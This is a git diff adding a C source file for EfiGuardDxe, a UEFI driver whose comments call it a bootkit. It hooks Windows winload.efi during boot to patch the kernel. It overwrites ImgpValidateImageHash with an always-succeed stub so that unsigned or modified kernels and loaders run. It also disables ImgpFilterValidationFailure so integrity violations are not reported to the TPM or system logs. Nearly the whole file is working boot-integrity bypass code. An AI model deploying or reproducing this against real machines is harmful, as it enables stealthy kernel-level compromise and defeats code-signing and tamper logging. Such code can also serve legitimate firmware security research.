diff options
Diffstat (limited to 'EfiGuardDxe/PatchWinload.c')
-rw-r--r-- | EfiGuardDxe/PatchWinload.c | 683 |
1 files changed, 683 insertions, 0 deletions
diff --git a/EfiGuardDxe/PatchWinload.c b/EfiGuardDxe/PatchWinload.c new file mode 100644 index 0000000..1a37de4 --- /dev/null +++ b/EfiGuardDxe/PatchWinload.c @@ -0,0 +1,683 @@ +#include "EfiGuardDxe.h" + +#include <Guid/Acpi.h> +#include <Library/BaseMemoryLib.h> + +t_OslFwpKernelSetupPhase1 gOriginalOslFwpKernelSetupPhase1 = NULL; +UINT8 gOslFwpKernelSetupPhase1Backup[sizeof(gHookTemplate)] = { 0 }; + + +// Signature for winload!OslFwpKernelSetupPhase1+XX, where the value of XX needs to be determined by backtracking. +// Windows 10 only. On older OSes, and on Windows 10 as fallback, OslFwpKernelSetupPhase1 is found via xrefs to EfipGetRsdt +STATIC CONST UINT8 SigOslFwpKernelSetupPhase1[] = { + 0xE8, 0xCC, 0xCC, 0xCC, 0xCC, // call BlpArchSwitchContext + 0x48, 0x8B, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, gBS + 0xCC, 0x8B, 0xCC, // mov rdx, XX + 0x48, 0x8B, 0x0D, 0xCC, 0xCC, 0xCC, 0xCC // mov rcx, EfiImageHandle +}; + +STATIC UNICODE_STRING ImgpFilterValidationFailureMessage = RTL_CONSTANT_STRING(L"*** Windows is unable to verify the signature of"); // newline, etc etc... + +// Signature for winload!BlStatusPrint. This is only needed if winload.efi does not export it (RS4 and earlier) +// Windows 10 only. I could find a universal signature for this, but I rarely need the debugger output anymore... +STATIC CONST UINT8 SigBlStatusPrint[] = { + 0x48, 0x8B, 0xC4, // mov rax, rsp + 0x48, 0x89, 0x48, 0x08, // mov [rax+8], rcx + 0x48, 0x89, 0x50, 0x10, // mov [rax+10h], rdx + 0x4C, 0x89, 0x40, 0x18, // mov [rax+18h], r8 + 0x4C, 0x89, 0x48, 0x20, // mov [rax+20h], r9 + 0x53, // push rbx + 0x48, 0x83, 0xEC, 0x40, // sub rsp, 40h + 0xE8, 0xCC, 0xCC, 0xCC, 0xCC, // call BlBdDebuggerEnabled + 0x84, 0xC0, // test al, al + 0x74, 0xCC // jz XX +}; + + +NTSTATUS +EFIAPI +BlStatusPrintNoop( + IN CONST CHAR16 *Format, + ... + ) +{ + return 0xC00000BBL; // STATUS_NOT_SUPPORTED +} + +t_BlStatusPrint gBlStatusPrint = BlStatusPrintNoop; + +// +// Gets a loaded module entry from the boot loader's LoadOrderList +// +STATIC +PKLDR_DATA_TABLE_ENTRY +EFIAPI +GetBootLoadedModule( + IN LIST_ENTRY* LoadOrderListHead, + IN CHAR16* ModuleName + ) +{ + if (ModuleName == NULL || LoadOrderListHead == NULL) + return NULL; + + for (LIST_ENTRY* ListEntry = LoadOrderListHead->ForwardLink; ListEntry != LoadOrderListHead; ListEntry = ListEntry->ForwardLink) + { + // This is fairly heavy abuse of CR(), but legal C because (only) the first field of a struct is guaranteed to be at offset 0 (C99 6.7.2.1, point 13) + CONST PBLDR_DATA_TABLE_ENTRY Entry = (PBLDR_DATA_TABLE_ENTRY)BASE_CR(ListEntry, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks); + if (Entry != NULL && StrnCmp(Entry->KldrEntry.BaseDllName.Buffer, ModuleName, (Entry->KldrEntry.BaseDllName.Length / sizeof(CHAR16))) == 0) + return &Entry->KldrEntry; + } + return NULL; +} + +// +// winload.efi!OslFwpKernelSetupPhase1 hook to patch ntoskrnl.exe +// +EFI_STATUS +EFIAPI +HookedOslFwpKernelSetupPhase1( + IN PLOADER_PARAMETER_BLOCK LoaderBlock + ) +{ + // Restore the original function bytes that we replaced with our hook + CopyMem((VOID*)gOriginalOslFwpKernelSetupPhase1, gOslFwpKernelSetupPhase1Backup, sizeof(gOslFwpKernelSetupPhase1Backup)); + + UINT8* LoadOrderListHeadAddress = (UINT8*)&LoaderBlock->LoadOrderListHead; + if (gKernelPatchInfo.LegacyLoaderBlock) + { + // We are booting Vista or some other fossil, which means that our LOADER_PARAMETER_BLOCK declaration in no way matches what is + // actually being passed by the loader. Notably, the first four UINT32 fields are absent, so fix up the list entry pointer. + LoadOrderListHeadAddress -= FIELD_OFFSET(LOADER_PARAMETER_BLOCK, LoadOrderListHead); + } + + // Get the kernel entry from the loader block's LoadOrderList + CONST PKLDR_DATA_TABLE_ENTRY KernelEntry = GetBootLoadedModule((LIST_ENTRY*)LoadOrderListHeadAddress, L"ntoskrnl.exe"); + if (KernelEntry == NULL) + { + gKernelPatchInfo.Status = EFI_LOAD_ERROR; + PRINT_KERNEL_PATCH_MSG(L"[HookedOslFwpKernelSetupPhase1] Failed to find ntoskrnl.exe in LoadOrderList!\r\n"); + goto CallOriginal; + } + + VOID* KernelBase = KernelEntry->DllBase; + CONST UINT32 KernelSize = KernelEntry->SizeOfImage; + CONST PEFI_IMAGE_NT_HEADERS NtHeaders = KernelBase != NULL && KernelSize > 0 + ? RtlpImageNtHeaderEx(KernelBase, (UINTN)KernelSize) + : NULL; + if (KernelBase == NULL || KernelSize == 0) + { + gKernelPatchInfo.Status = EFI_NOT_FOUND; + PRINT_KERNEL_PATCH_MSG(L"[HookedOslFwpKernelSetupPhase1] Kernel image at 0x%p with size 0x%lx is invalid!\r\n", KernelBase, KernelSize); + goto CallOriginal; + } + + // Patch the kernel + gKernelPatchInfo.KernelBase = KernelBase; + gKernelPatchInfo.Status = PatchNtoskrnl(KernelBase, + NtHeaders); + +CallOriginal: + // No error handling here (not a lot of options). This is done in the ExitBootServices() callback which reads the patch status + + // Call the original function to transfer execution back to winload!OslFwpKernelSetupPhase1 + return gOriginalOslFwpKernelSetupPhase1(LoaderBlock); +} + +// +// Patches ImgpValidateImageHash in bootmgfw.efi, bootmgr.efi, and winload.[efi|exe] to allow loading modified kernels and boot loaders. +// Failures are ignored because this patch is not needed for the bootkit to work +// +EFI_STATUS +EFIAPI +PatchImgpValidateImageHash( + IN INPUT_FILETYPE FileType, + IN UINT8* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders + ) +{ + // This works on pretty much anything really + ASSERT(FileType == WinloadExe || FileType == BootmgfwEfi || FileType == BootmgrEfi || FileType == WinloadEfi); + CONST CHAR16* ShortName = FileType == BootmgfwEfi ? L"bootmgfw" : (FileType == BootmgrEfi ? L"bootmgr" : L"winload"); + + CONST PEFI_IMAGE_SECTION_HEADER CodeSection = IMAGE_FIRST_SECTION(NtHeaders); + + CONST UINT32 CodeSizeOfRawData = CodeSection->SizeOfRawData; + CONST UINT8* CodeStartVa = ImageBase + CodeSection->VirtualAddress; + + Print(L"== Disassembling .text to find %S!ImgpValidateImageHash ==\r\n", ShortName); + UINT8* AndMinusFortyOneAddress = NULL; + + // Initialize Zydis + ZydisDecoder Decoder; + ZyanStatus Status = ZydisInit(NtHeaders, &Decoder, NULL); + if (!ZYAN_SUCCESS(Status)) + { + Print(L"Failed to initialize disassembler engine.\r\n"); + return EFI_LOAD_ERROR; + } + + CONST UINTN Length = CodeSizeOfRawData; + UINTN Offset = 0; + ZyanU64 InstructionAddress; + ZydisDecodedInstruction Instruction; + + // Start decode loop + while ((InstructionAddress = (ZyanU64)(CodeStartVa + Offset), + Status = ZydisDecoderDecodeBuffer(&Decoder, + (VOID*)InstructionAddress, + Length - Offset, + &Instruction)) != ZYDIS_STATUS_NO_MORE_DATA) + { + if (!ZYAN_SUCCESS(Status)) + { + Offset++; + continue; + } + + // Check if this is 'and REG32, 0FFFFFFD7h' (only esi and r8d are used here really) + if (Instruction.operand_count == 3 && + (Instruction.length == 3 || Instruction.length == 4) && + Instruction.mnemonic == ZYDIS_MNEMONIC_AND && + Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_REGISTER && + Instruction.operands[1].type == ZYDIS_OPERAND_TYPE_IMMEDIATE && + Instruction.operands[1].imm.is_signed == ZYAN_TRUE && + Instruction.operands[1].imm.value.s == (ZyanI64)((ZyanI32)0xFFFFFFD7)) // Sign extend to 64 bits + { + AndMinusFortyOneAddress = (UINT8*)InstructionAddress; + break; + } + + Offset += Instruction.length; + } + + // Backtrack to function start + CONST UINT8* ImgpValidateImageHash = BacktrackToFunctionStart(AndMinusFortyOneAddress, CodeStartVa); + if (ImgpValidateImageHash == NULL) + { + Print(L" Failed to find %S!ImgpValidateImageHash%S.\r\n", + ShortName, (AndMinusFortyOneAddress == NULL ? L" 'and xxx, 0FFFFFFD7h' instruction" : L"")); + return EFI_NOT_FOUND; + } + + // Apply the patch + *((UINT32*)ImgpValidateImageHash) = 0xC3C033; // xor eax, eax, ret + + // Print info + Print(L" Patched %S!ImgpValidateImageHash [RVA: 0x%X].\r\n", + ShortName, (UINT32)(ImgpValidateImageHash - ImageBase)); + + return EFI_SUCCESS; +} + +// +// Patches ImgpFilterValidationFailure in bootmgfw.efi, bootmgr.efi, and winload.[efi|exe] +// Failures are ignored because this patch is not needed for the bootkit to work +// +EFI_STATUS +EFIAPI +PatchImgpFilterValidationFailure( + IN INPUT_FILETYPE FileType, + IN UINT8* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders + ) +{ + // This works on pretty much anything really + ASSERT(FileType == WinloadExe || FileType == BootmgfwEfi || FileType == BootmgrEfi || FileType == WinloadEfi); + CONST CHAR16* ShortName = FileType == BootmgfwEfi ? L"bootmgfw" : (FileType == BootmgrEfi ? L"bootmgr" : L"winload"); + + // Find .text and/or .rdata sections + PEFI_IMAGE_SECTION_HEADER PatternSection = NULL, CodeSection = NULL; + PEFI_IMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(NtHeaders); + for (UINT16 i = 0; i < NtHeaders->FileHeader.NumberOfSections; ++i) + { + if (CompareMem(Section->Name, ".text", sizeof(".text") - 1) == 0) + CodeSection = Section; + if ((FileType == BootmgfwEfi || FileType == BootmgrEfi) && + CompareMem(Section->Name, ".text", sizeof(".text") - 1) == 0) // [bootmgfw|bootmgr].efi (usually) has no .rdata section, and starting at .text is always fine + PatternSection = Section; + else if ((FileType == WinloadExe || FileType == WinloadEfi) && + CompareMem(Section->Name, ".rdata", sizeof(".rdata") - 1) == 0) // For winload.[exe|efi] the string is in .rdata + PatternSection = Section; + Section++; + } + + ASSERT(PatternSection != NULL); + ASSERT(CodeSection != NULL); + + CONST UINT32 PatternStartRva = PatternSection->VirtualAddress; + CONST UINT32 PatternSizeOfRawData = PatternSection->SizeOfRawData; + CONST UINT8* PatternStartVa = ImageBase + PatternStartRva; + + CHAR8 SectionName[EFI_IMAGE_SIZEOF_SHORT_NAME + 1]; + CopyMem((VOID*)SectionName, (VOID*)PatternSection->Name, EFI_IMAGE_SIZEOF_SHORT_NAME); + SectionName[EFI_IMAGE_SIZEOF_SHORT_NAME] = '\0'; + Print(L"\r\n== Searching for load failure string in %a [RVA: 0x%X - 0x%X] ==\r\n", + SectionName, PatternStartRva, PatternStartRva + PatternSizeOfRawData); + + // Search for the black screen of death string "Windows is unable to verify the integrity of the file [...]" + UINT8* IntegrityFailureStringAddress = NULL; + for (UINT8* Address = (UINT8*)PatternStartVa; + Address < ImageBase + NtHeaders->OptionalHeader.SizeOfImage - ImgpFilterValidationFailureMessage.MaximumLength; + ++Address) + { + if (CompareMem(Address, ImgpFilterValidationFailureMessage.Buffer, ImgpFilterValidationFailureMessage.Length) == 0) + { + IntegrityFailureStringAddress = Address; + Print(L" Found load failure string at 0x%llx.\r\n", (UINTN)IntegrityFailureStringAddress); + break; + } + } + + if (IntegrityFailureStringAddress == NULL) + { + Print(L" Failed to find load failure string.\r\n"); + return EFI_NOT_FOUND; + } + + CONST UINT32 CodeStartRva = CodeSection->VirtualAddress; + CONST UINT32 CodeSizeOfRawData = CodeSection->SizeOfRawData; + CONST UINT8* CodeStartVa = ImageBase + CodeStartRva; + + ZeroMem((VOID*)SectionName, sizeof(SectionName)); + CopyMem((VOID*)SectionName, (VOID*)CodeSection->Name, EFI_IMAGE_SIZEOF_SHORT_NAME); + Print(L"== Disassembling %a to find %S!ImgpFilterValidationFailure ==\r\n", SectionName, ShortName); + UINT8* LeaIntegrityFailureAddress = NULL; + + // Initialize Zydis + ZydisDecoder Decoder; + ZyanStatus Status = ZydisInit(NtHeaders, &Decoder, NULL); + if (!ZYAN_SUCCESS(Status)) + { + Print(L"Failed to initialize disassembler engine.\r\n"); + return EFI_LOAD_ERROR; + } + + CONST UINTN Length = CodeSizeOfRawData; + UINTN Offset = 0; + ZyanU64 InstructionAddress; + ZydisDecodedInstruction Instruction; + + // Start decode loop + while ((InstructionAddress = (ZyanU64)(CodeStartVa + Offset), + Status = ZydisDecoderDecodeBuffer(&Decoder, + (VOID*)InstructionAddress, + Length - Offset, + &Instruction)) != ZYDIS_STATUS_NO_MORE_DATA) + { + if (!ZYAN_SUCCESS(Status)) + { + Offset++; + continue; + } + + // Check if this is "lea REG, ds:[rip + offset_to_bsod_string]" + if (Instruction.operand_count == 2 && Instruction.mnemonic == ZYDIS_MNEMONIC_LEA && + Instruction.operands[1].type == ZYDIS_OPERAND_TYPE_MEMORY && + Instruction.operands[1].mem.base == ZYDIS_REGISTER_RIP) + { + ZyanU64 OperandAddress = 0; + if (ZYAN_SUCCESS(ZydisCalcAbsoluteAddress(&Instruction, &Instruction.operands[1], InstructionAddress, &OperandAddress)) && + OperandAddress == (UINTN)IntegrityFailureStringAddress) + { + LeaIntegrityFailureAddress = (UINT8*)InstructionAddress; + Print(L" Found load instruction for load failure string at 0x%llx.\r\n", (UINTN)LeaIntegrityFailureAddress); + break; + } + } + + Offset += Instruction.length; + } + + // Backtrack to function start + CONST UINT8* ImgpFilterValidationFailure = BacktrackToFunctionStart(LeaIntegrityFailureAddress, LeaIntegrityFailureAddress - Length); + if (ImgpFilterValidationFailure == NULL) + { + Print(L" Failed to find %S!ImgpFilterValidationFailure%S.\r\n", + ShortName, (LeaIntegrityFailureAddress == NULL ? L" load failure string load instruction" : L"")); + return EFI_NOT_FOUND; + } + + // Apply the patch + *((UINT32*)ImgpFilterValidationFailure) = 0xC3C033; // xor eax, eax, ret + + // Print info + Print(L" Patched %S!ImgpFilterValidationFailure [RVA: 0x%X].\r\n\r\n", + ShortName, (UINT32)(ImgpFilterValidationFailure - ImageBase)); + + return EFI_SUCCESS; +} + +// +// Finds OslFwpKernelSetupPhase1 in winload.efi +// +EFI_STATUS +EFIAPI +FindOslFwpKernelSetupPhase1( + IN CONST UINT8* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders, + IN PEFI_IMAGE_SECTION_HEADER CodeSection, + IN PEFI_IMAGE_SECTION_HEADER PatternSection, + IN BOOLEAN TryPatternMatch, + OUT UINT8** OslFwpKernelSetupPhase1Address + ) +{ + *OslFwpKernelSetupPhase1Address = NULL; + + CONST UINT8* CodeStartVa = ImageBase + CodeSection->VirtualAddress; + CONST UINT32 CodeSizeOfRawData = CodeSection->SizeOfRawData; + CONST UINT8* PatternStartVa = ImageBase + PatternSection->VirtualAddress; + + if (TryPatternMatch) + { + // On Windows 10, try simple pattern matching first since it will most likely work + UINT8* Found = NULL; + CONST EFI_STATUS Status = FindPattern(SigOslFwpKernelSetupPhase1, + 0xCC, + sizeof(SigOslFwpKernelSetupPhase1), + (VOID*)CodeStartVa, + CodeSizeOfRawData, + (VOID**)&Found); + if (!EFI_ERROR(Status)) + { + // Found signature; backtrack to function start + *OslFwpKernelSetupPhase1Address = BacktrackToFunctionStart(Found, Found - 0x400); + if (*OslFwpKernelSetupPhase1Address != NULL) + { + Print(L"\r\nFound OslFwpKernelSetupPhase1 at 0x%llX.\r\n", (UINTN)(*OslFwpKernelSetupPhase1Address)); + return EFI_SUCCESS; // Found; early out + } + } + } + + // On older versions, use some convoluted but robust logic to find OslFwpKernelSetupPhase1 by matching xrefs to EfipGetRsdt. + // This of course implies finding EfipGetRsdt first. After that, find all calls to this function, and for each, calculate + // the distance from the start of the function to the call. OslFwpKernelSetupPhase1 is reliably (Vista through 10) + // the function that has the smallest value for this distance, i.e. the call happens very early in the function. + CHAR8 SectionName[EFI_IMAGE_SIZEOF_SHORT_NAME + 1]; + CopyMem(SectionName, PatternSection->Name, EFI_IMAGE_SIZEOF_SHORT_NAME); + SectionName[EFI_IMAGE_SIZEOF_SHORT_NAME] = '\0'; + Print(L"\r\n== Searching for EfipGetRsdt pattern in %a ==\r\n", SectionName); + + // Search for EFI ACPI 2.0 table GUID: { 8868e871-e4f1-11d3-bc22-0080c73c8881 } + UINT8* PatternAddress = NULL; + for (UINT8* Address = (UINT8*)PatternStartVa; + Address < ImageBase + NtHeaders->OptionalHeader.SizeOfImage - sizeof(gEfiAcpi20TableGuid); + ++Address) + { + if (CompareGuid((CONST GUID*)Address, &gEfiAcpi20TableGuid)) + { + PatternAddress = Address; + Print(L" Found EFI ACPI 2.0 GUID at 0x%llX.\r\n", (UINTN)PatternAddress); + break; + } + } + + if (PatternAddress == NULL) + { + Print(L" Failed to find EFI ACPI 2.0 GUID.\r\n"); + return EFI_NOT_FOUND; + } + + Print(L"\r\n== Disassembling .text to find EfipGetRsdt ==\r\n"); + UINT8* LeaEfiAcpiTableGuidAddress = NULL; + + // Initialize Zydis + ZydisDecoder Decoder; + ZyanStatus Status = ZydisInit(NtHeaders, &Decoder, NULL); + if (!ZYAN_SUCCESS(Status)) + { + Print(L"Failed to initialize disassembler engine.\r\n"); + return EFI_LOAD_ERROR; + } + + CONST UINTN Length = CodeSizeOfRawData; + UINTN Offset = 0; + ZyanU64 InstructionAddress; + ZydisDecodedInstruction Instruction; + + // Start decode loop + while ((InstructionAddress = (ZyanU64)(CodeStartVa + Offset), + Status = ZydisDecoderDecodeBuffer(&Decoder, + (VOID*)InstructionAddress, + Length - Offset, + &Instruction)) != ZYDIS_STATUS_NO_MORE_DATA) + { + if (!ZYAN_SUCCESS(Status)) + { + Offset++; + continue; + } + + // Check if this is "lea rcx, ds:[rip + offset_to_acpi20_guid]" + if (Instruction.operand_count == 2 && Instruction.mnemonic == ZYDIS_MNEMONIC_LEA && + Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_REGISTER && + Instruction.operands[0].reg.value == ZYDIS_REGISTER_RCX && + Instruction.operands[1].type == ZYDIS_OPERAND_TYPE_MEMORY && + Instruction.operands[1].mem.base == ZYDIS_REGISTER_RIP) + { + ZyanU64 OperandAddress = 0; + if (ZYAN_SUCCESS(ZydisCalcAbsoluteAddress(&Instruction, &Instruction.operands[1], InstructionAddress, &OperandAddress)) && + OperandAddress == (UINTN)PatternAddress) + { + // Check for false positives (BlFwGetSystemTable) + CONST UINT8* Check = (UINT8*)(CodeStartVa + Offset - 4); // 4 = length of 'lea rdx, [r11+18h]' which precedes this instruction in EfipGetRsdt + if (Check[0] == 0x49 && Check[1] == 0x8D && Check[2] == 0x53) // If no match, this is not EfipGetRsdt + { + LeaEfiAcpiTableGuidAddress = (UINT8*)InstructionAddress; + Print(L" Found load instruction for EFI ACPI 2.0 GUID at 0x%llX.\r\n", (UINTN)LeaEfiAcpiTableGuidAddress); + break; + } + } + } + + Offset += Instruction.length; + } + + if (LeaEfiAcpiTableGuidAddress == NULL) + { + Print(L" Failed to find load instruction for EFI ACPI 2.0 GUID.\r\n"); + return EFI_NOT_FOUND; + } + + CONST UINT8* EfipGetRsdt = BacktrackToFunctionStart(LeaEfiAcpiTableGuidAddress, LeaEfiAcpiTableGuidAddress - Length); + if (EfipGetRsdt == NULL) + { + Print(L" Failed to find EfipGetRsdt.\r\n"); + return EFI_NOT_FOUND; + } + + Print(L" Found EfipGetRsdt at 0x%llX.\r\n", (UINTN)EfipGetRsdt); + Print(L"\r\n== Disassembling .text to find OslFwpKernelSetupPhase1 ==\r\n"); + UINT8* CallEfipGetRsdtAddress = NULL; + + // Start decode loop + Offset = 0; + UINTN ShortestDistanceToCall = MAX_UINTN; + while ((InstructionAddress = (ZyanU64)(CodeStartVa + Offset), + Status = ZydisDecoderDecodeBuffer(&Decoder, + (VOID*)InstructionAddress, + Length - Offset, + &Instruction)) != ZYDIS_STATUS_NO_MORE_DATA) + { + if (!ZYAN_SUCCESS(Status)) + { + Offset++; + continue; + } + + // Check if this is 'call IMM' + if (Instruction.operand_count == 4 && + Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_IMMEDIATE && Instruction.operands[0].imm.is_relative == ZYAN_TRUE && + Instruction.mnemonic == ZYDIS_MNEMONIC_CALL) + { + // Check if this is 'call EfipGetRsdt' + ZyanU64 OperandAddress = 0; + if (ZYAN_SUCCESS(ZydisCalcAbsoluteAddress(&Instruction, &Instruction.operands[0], InstructionAddress, &OperandAddress)) && + OperandAddress == (UINTN)EfipGetRsdt) + { + // Calculate the distance from the start of the function to the instruction. OslFwpKernelSetupPhase1 will always have the shortest distance + CONST UINTN StartOfFunction = (UINTN)BacktrackToFunctionStart((UINT8*)InstructionAddress, (UINT8*)InstructionAddress - Length); + CONST UINTN Distance = InstructionAddress - StartOfFunction; + if (Distance < ShortestDistanceToCall) + { + CallEfipGetRsdtAddress = (UINT8*)InstructionAddress; + ShortestDistanceToCall = Distance; + } + } + } + + Offset += Instruction.length; + } + + if (CallEfipGetRsdtAddress == NULL) + { + Print(L" Failed to find a single 'call EfipGetRsdt' instruction.\r\n"); + return EFI_NOT_FOUND; + } + + // Found + *OslFwpKernelSetupPhase1Address = CallEfipGetRsdtAddress - ShortestDistanceToCall; + Print(L" Found OslFwpKernelSetupPhase1 at 0x%llX.\r\n\r\n", (UINTN)(*OslFwpKernelSetupPhase1Address)); + + return EFI_SUCCESS; +} + +// +// Patches winload.efi +// +EFI_STATUS +EFIAPI +PatchWinload( + IN VOID* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders + ) +{ + // Print file and version info + UINT16 MajorVersion = 0, MinorVersion = 0, BuildNumber = 0, Revision = 0; + EFI_STATUS Status = GetPeFileVersionInfo(ImageBase, &MajorVersion, &MinorVersion, &BuildNumber, &Revision, NULL); + if (EFI_ERROR(Status)) + Print(L"\r\nPatchWinload: WARNING: failed to obtain winload.efi version info. Status: %llx\r\n", Status); + else + { + Print(L"\r\nPatching winload.efi v%u.%u.%u.%u...\r\n", MajorVersion, MinorVersion, BuildNumber, Revision); + + // Check if this is a supported winload version. All patches should work on all versions since Vista SP1, + // except for the ImgpFilterValidationFailure patch because this function only exists on Windows 7 and higher. + if (BuildNumber < 6001) + { + Print(L"\r\nPatchWinload: ERROR: Unsupported winload.efi image version.\r\n"); + Status = EFI_UNSUPPORTED; + goto Exit; + } + + // Some... adjustments... need to be made later on in the case of pre-Windows 7 loader blocks + gKernelPatchInfo.LegacyLoaderBlock = BuildNumber < 7600; + } + + // Find the .text and .rdata sections + PEFI_IMAGE_SECTION_HEADER CodeSection = NULL, PatternSection = NULL; + PEFI_IMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(NtHeaders); + for (UINT16 i = 0; i < NtHeaders->FileHeader.NumberOfSections; ++i) + { + CHAR8 SectionName[EFI_IMAGE_SIZEOF_SHORT_NAME + 1]; + CopyMem(SectionName, Section->Name, EFI_IMAGE_SIZEOF_SHORT_NAME); + SectionName[MAX(sizeof(".text"), sizeof(".rdata"))] = '\0'; + + if (AsciiStrCmp(SectionName, ".text") == 0) + CodeSection = Section; + else if (AsciiStrCmp(SectionName, ".rdata") == 0) + PatternSection = Section; + + Section++; + } + + ASSERT(CodeSection != NULL); + ASSERT(PatternSection != NULL); + + // (Optional) On Windows 10, find winload!BlStatusPrint + if (BuildNumber >= 10240) + { + gBlStatusPrint = (t_BlStatusPrint)GetProcedureAddress((UINTN)ImageBase, NtHeaders, "BlStatusPrint"); + if (gBlStatusPrint == NULL) + { + // Not exported (RS4 and earlier) - try to find by signature + FindPattern(SigBlStatusPrint, + 0xCC, + sizeof(SigBlStatusPrint), + (VOID*)((UINT8*)ImageBase + CodeSection->VirtualAddress), + CodeSection->SizeOfRawData, + (VOID**)&gBlStatusPrint); + if (gBlStatusPrint == NULL) + { + gBlStatusPrint = BlStatusPrintNoop; + Print(L"\r\nWARNING: winload!BlStatusPrint not found. No boot debugger output will be available.\r\n"); + } + } + } + + // Find winload!OslFwpKernelSetupPhase1 + Status = FindOslFwpKernelSetupPhase1((UINT8*)ImageBase, + NtHeaders, + CodeSection, + PatternSection, + (BOOLEAN)(BuildNumber >= 10240), + (UINT8**)&gOriginalOslFwpKernelSetupPhase1); + if (EFI_ERROR(Status)) + { + Print(L"\r\nPatchWinload: failed to find OslFwpKernelSetupPhase1. Status: %llx\r\n", Status); + goto Exit; + } + + Print(L"HookedOslFwpKernelSetupPhase1 at 0x%p.\r\n", (VOID*)&HookedOslFwpKernelSetupPhase1); + + CONST EFI_TPL Tpl = gBS->RaiseTPL(TPL_HIGH_LEVEL); // Note: implies cli + + // Backup original function prologue + CopyMem(gOslFwpKernelSetupPhase1Backup, (VOID*)gOriginalOslFwpKernelSetupPhase1, sizeof(gOslFwpKernelSetupPhase1Backup)); + + // Place faux call (push addr, ret) at the start of the function to transfer execution to our hook + CopyMem((VOID*)gOriginalOslFwpKernelSetupPhase1, (VOID*)gHookTemplate, sizeof(gHookTemplate)); + *(UINTN*)((UINT8*)gOriginalOslFwpKernelSetupPhase1 + 2) = (UINTN)&HookedOslFwpKernelSetupPhase1; + + gBS->RestoreTPL(Tpl); + + // Patch ImgpValidateImageHash to allow custom boot loaders. This is completely + // optional (unless booting a custom ntoskrnl.exe), and failures are ignored + PatchImgpValidateImageHash(WinloadEfi, + (UINT8*)ImageBase, + NtHeaders); + + if (BuildNumber >= 7600) + { + // Patch ImgpFilterValidationFailure so it doesn't silently + // rat out every violation to a TPM or SI log. Also optional + PatchImgpFilterValidationFailure(WinloadEfi, + (UINT8*)ImageBase, + NtHeaders); + } + +Exit: + if (EFI_ERROR(Status)) + { + // Patch failed. Prompt user to ask what they want to do + Print(L"\r\nPress any key to continue anyway, or press ESC to reboot.\r\n"); + if (!WaitForKey()) + { + gRT->ResetSystem(EfiResetCold, EFI_SUCCESS, 0, NULL); + } + } + else + { + Print(L"Successfully patched winload!OslFwpKernelSetupPhase1.\r\n"); + RtlSleep(2000); + + if (gDriverConfig.WaitForKeyPress) + { + Print(L"\r\nPress any key to continue.\r\n"); + WaitForKey(); + } + } + + // Return success, because even if the patch failed, the user chose not to reboot above + return EFI_SUCCESS; +} |